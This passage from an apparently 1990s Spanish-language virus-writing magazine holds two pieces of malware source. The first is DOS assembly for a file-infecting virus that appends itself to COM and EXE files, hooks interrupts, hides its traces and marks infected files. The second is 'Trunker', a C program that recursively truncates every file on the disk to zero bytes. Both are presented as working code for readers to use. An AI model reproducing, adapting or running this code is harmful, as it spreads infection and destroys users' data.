MOV AH,36h; get disk free space
INT 21h
CMP BX,2 ; bx = available clusters
JNB okspace
JMP quitinf
okspace:
POP DX
MOV CX,80h
XOR AL,AL ; buscar el 0 del nombre
db 3eh ; ds:
REPNZ SCASB
DEC DI ; di apunta al 0
PUSH word ptr [DI] ; ?
PUSH DS
PUSH DI
MOV WORD PTR [DI],0021h ; poner un "!" al final?
MOV cs:word ptr [nameptr-vstart],DS ; guardar el nameptr
MOV cs:word ptr [nameptr-vstart+2],DX
XOR AL,AL
CALL fattr ; get attributes
MOV cs:[vfattr-vstart],CX ; guardar atributos
MOV AL,1
MOV CX,20h
CALL fattr ; set attributes to 20h
MOV AX,3D02h ; abrir file
CALL call21
MOV BX,AX
JB abortinf
MOV AX,5700h ; get date & time
CALL call21
MOV cs:[ftime-vstart],CX ; save date and time
MOV cs:[fdate-vstart],DX
MOV AX,CS
MOV DS,AX
CALL readf
CMP WORD PTR cs:[exehead-vstart],5A4Dh; es EXE?
JZ isexe
MOV AX,ds:[exehead-vstart] ; mandar los primero 3
MOV CH,ds:[exehead-vstart+2] ; bytes a los MOVs de
MOV ds:[orbytes1-vstart],AX ; la rutina de instalacion
MOV ds:[orbytes2-vstart],CH ; de COM
CALL checkinf
JZ isinfd
CMP AX,0FC00h; Size del COM-3 > a FC00?
JA isinfd
MOV ds:[exehead-vstart+1],AX ; fixear el JMP
MOV BYTE PTR ds:[exehead-vstart],0E9h
finishinf:
INC WORD PTR cs:[infcount-vstart] ; un contador de infecciones
MOV AH,40h ; escribir el virus al final
MOV CX,vsize
XOR DX,DX
CALL call21
XOR AL,AL
XOR CX,CX
XOR DX,DX
MOV AH,42h ; ir al principio
CALL call21
MOV AH,40h ; escribir 1C bytes al principio
CALL writef ; 3 fixeados + los otros (originales)
isinfd:
MOV CX,ds:[ftime-vstart]
MOV DX,ds:[fdate-vstart]
MOV AX,5701h ; restore original date & time
CALL call21
MOV AH,3Eh ; cerrar file
CALL call21
MOV AL,01
MOV CX,ds:[vfattr-vstart]
CALL fattr ; restore atributos originales
abortinf:
POP DI
POP DS
POP word ptr [DI]
quitinf:
CALL restorerr
; esto es el 3er disparador... chequear que el port 3E4 este activo
MOV DX,3E4h ; el port 3E4 devuelve FF?
XOR AH,AH
IN AL,DX
CMP AL,0FFh ; si lo devuelve, pone a 1 la variable de activacion
JZ notvar
CALL varto1
notvar:
POP DS
POP ES
POPA
JMP quit21
isexe:
CALL checkinf
JZ isinfd ; si esta infectado, salir
PUSH BX
ADD AX,0003 ; DX.AX size del file - 3. Osea, ahora le suma 3. :-)
ADC DX,0
PUSH DX
PUSH AX
MOV AX,ds:[exehead-vstart+2]; 2 = reminder
MOV BX,ds:[exehead-vstart+4]; 4 = Pages
MOV CX,BX
SHR CX,7 ; Pages = ffff=> 1ff.
SHL BX,9 ; Pages = * 200h
OR BX,AX
SUB BX,0200h ; bx = size real?
SBB CX,0; ?
MOV DX,ds:[exehead-vstart+14h] ; 14 = IP
MOV AX,ds:[exehead-vstart+16h] ; 16 = CS
MOV ds:[Instl_IP-vstart],DX ; Salver CS:IP originales en el c�digo
MOV ds:[Instl_CS-vstart],AX
MOV DX,ds:[exehead-vstart+10h] ; 10 = SP
MOV AX,ds:[exehead-vstart+0eh] ; 0E = SS
MOV ds:[Instl_SS-vstart],AX ; Salvar SS:SP originales en el c�digo
MOV ds:[Instl_SP-vstart],DX
POP AX
POP DX
CMP CX,DX ; CX (2bytes + altos de size) = Pages?
JNZ notl
CMP BX,AX
JZ allok
notl:
POP BX
JMP isinfd ; si no son iguales, esta infectado
allok:
MOV BX,AX ; DX.AX size
NEG BX
AND BX,0Fh ; bx = lo que falta para el paragr.
ADD AX,BX
ADC DX,0; ugh
SHR AX,4
SHL DX,0Ch
OR AX,DX ; AX = nuevo CS
SUB AX,ds:[exehead-vstart+8] ; AX =- header size;
MOV WORD PTR ds:[exehead-vstart+14h],instlexe-vstart ; nuevo IP
MOV ds:[exehead-vstart+0Eh],AX ; nuevo SS
MOV WORD PTR ds:[exehead-vstart+10h],400h ; nuevo SP
MOV ds:[exehead-vstart+16h],AX ; nuevo CS
MOV AH,40h ; escribir los bytes que faltan
MOV CX,BX ; para el para
XOR DX,DX
POP BX
INT 21h
ADD CX,vsize
ADD ds:[exehead-vstart+2],CX
MOV CX,ds:[exehead-vstart+2]
AND WORD PTR ds:[exehead-vstart+2],1FFh ; fixear el reminder
SHR CX,9
ADD ds:[exehead-vstart+4],CX ; fixear las pages !
JMP finishinf ; ir a finalizar todo pipi cucu
checkinf: ; rutina chequeo de infeccion previa
MOV AX,4202h
MOV CX,0FFFFh; -1
MOV DX,0FFFDh; -3
CALL call21 ; ir a los ultimos 3 bytes
PUSH AX
PUSH DX
MOV DX,buff3b-vstart
MOV AH,3Fh
MOV CX,3
CALL call21 ; leer los ultimos 3 bytes
CMP WORD PTR ds:[buff3b-vstart],0828h ; es igual a 28 08 93?
JNZ notinf
CMP BYTE PTR ds:[buff3b-vstart+2],93h ; si es asi, esta infectado.
notinf:
POP DX
POP AX
RET
readf: ; leer 1c bytes del file
MOV AH,3Fh
writef: ; escribir 1c bytes al file
MOV CX,001Ch; 28 bytes
MOV DX,exehead-vstart ; ?
CALL call21
RET
hookints: ; colgarse de las interrupciones
MOV AX,ES
MOV DS,AX
MOV AX,3521h
INT 21h
MOV word ptr ds:[oldint21-vstart+2],ES
MOV word ptr ds:[oldint21-vstart],BX
MOV DX,newint21-vstart
MOV AH,25h
INT 21h
MOV AL,5
OUT 70h,AL ; incrementar el contador de instalaciones en CMOS
IN AL,71h
INC AL
OUT 71h,AL
RET
fattr: ; poner atributos originales o conseguirlos (depende de AL)
MOV DS,cs:word ptr [nameptr-vstart]
MOV DX,cs:word ptr [nameptr-vstart+2]
MOV AH,43h
INT 21h
RET
dumberr:
; setear int 24 a un dumb handler para prevenir mensajes de error
PUSH DS
PUSH ES
PUSH DX
MOV AX,3524h
INT 21h
MOV cs:word ptr [oldint24-vstart],BX ; guardar int 24 orig.
MOV cs:word ptr [oldint24-vstart+2],ES
MOV DX,newint24-vstart
MOV AX,CS
MOV DS,AX
doit:
MOV AX,2524h ; setear nueva int 24
INT 21h
POP DX
POP ES
POP DS
RET
restorerr: ; restaurar int 24 original
PUSH DS
PUSH ES
PUSH DX
MOV DS,cs:word ptr [oldint24-vstart+2]
MOV DX,cs:word ptr [oldint24-vstart]
JMP doit
phxstr db "PHX",0
varto1: ; setear variable de activacion a 1
MOV BYTE PTR cs:[actvar-vstart],1
NOP
RET
; contador de infecciones
infcount dw 0;en mi ejemplar era 27. lindo numero.. :-)
;3 bytes para reconocimiento... son arbitrarios? Es cierto que parece una fecha
db 28h, 8, 93h
vend: ; aqui termina el c�digo.
;heap. esto NO PERTENECE al virus en si, es memoria temporaria. ok?
exehead db 1ch dup(0) ; para leer 1c primero bytes del f.
buff3b db 3 dup(0); 3 byte buffer para chequeo de reinfecc.
ftime dw 0 ; original file time
fdate dw 0 ; original file date
nameptr dd 0 ; nameptr
vfattr dw 0 ; original file attributes
oldint24 dd 0 ; original int 24
actvar db 0 ; variable de la activacion
endheap:
ends
end start
// Minotauro Magazine
// Trunker By Jason.
// Turbo C++ 3.0
#include <stdlib.h>
#include <fcntl.h>
#include <io.h>
#include <stdio.h>
#include <dir.h>
#include <conio.h>
// Estas son las librerias necesarias para la ejecucion de este programa
void makdir();
// Rutina de entrada a directorios
void destruccion();
// Rutina para truncar los files del directorio donde entro
void main()
{
clrscr();
printf("Truncando files... sea paciente ;-)..\n");
chdir("\\");
// es necesario poner 2 barras "\\" ya que el C usa la "\" para funciones
// especificas como las que se ven arriba de "\n" eso manda un CR LF
// caracteres 10 y 13 en decimal o Ah y Dh en hexa de la tabla ASCII
makdir();
// Llamo a MAKDIR
}
void destruccion()
{
FILE *archivo;
struct ffblk ffblk;
int done;
// Defino las variables
done = findfirst("*.*",&ffblk,2);
// Busco en el directorio actual "*.*" incluyendo archivos ocultos
// Mientras haya archivos..
while (!done)
{
if ((archivo = fopen(ffblk.ff_name, "wb")) == NULL)
// Abro file ("wb" write binary) binario para escritura
{
fprintf(stderr, "Error abriendo archivo...\n");
// Si llego aca hay error al abrir el file
}
fwrite(0, 0, 1, archivo);
// Escribo NADA :-)
fclose(archivo);
// Cierro el file
done = findnext(&ffblk);
// Que pase el que sigue ;-)
}
}
void makdir()
{
struct ffblk ffblk;
int done;
// Defino variables
destruccion();
// Llamo a destruccion para truncar los del directorio raiz
done = findfirst("*.*",&ffblk,16);
// Busco en el directorio actual "*.*" incluyendo directorios
while (!done)
{
if((ffblk.ff_name[0] != *".") && (ffblk.ff_attrib == 16))
// Si es un directorio.. que no sea que su primer caracter no sea "."
// o sea "." o ".." entonces entro
{
chdir(ffblk.ff_name);
// Entro al directorio que encontre
destruccion();
// Trunco los files
makdir();
// Me llamo de nuevo
chdir("..");
// Vuelvo al directorio anterior
}
done = findnext(&ffblk);
// Busco el proximo
}
}